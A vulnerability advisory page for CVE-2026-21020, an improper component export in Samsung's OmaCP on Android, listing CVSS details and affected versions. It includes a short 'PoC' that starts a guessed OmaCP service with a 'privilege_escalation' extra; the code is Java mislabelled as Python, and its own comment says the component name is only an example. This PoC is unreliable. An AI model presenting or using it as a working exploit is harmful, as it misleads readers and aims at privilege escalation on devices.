Security Vulnerability Report
中文
CVE-2026-21020 CVSS 7.8 HIGH

CVE-2026-21020

Published: 2026-05-13 06:16:14
Last Modified: 2026-05-13 17:30:41

Description

Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE
Samsung OmaCP < SMR May-2026 Release 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; public class PoCActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); try { // Target the vulnerable OmaCP component // Component name is an example based on the vulnerability description Intent intent = new Intent(); intent.setClassName("com.android.omcp", "com.android.omcp.service.VulnerableService"); // Add extras to trigger privileged functions if parameters are required intent.putExtra("action", "privilege_escalation"); // Start the service to exploit the vulnerability startService(intent); Log.d("CVE-2026-21020", "Exploit payload sent successfully."); } catch (Exception e) { Log.e("CVE-2026-21020", "Exploit failed: " + e.getMessage()); } } }

References

Raw JSON Data

JSON
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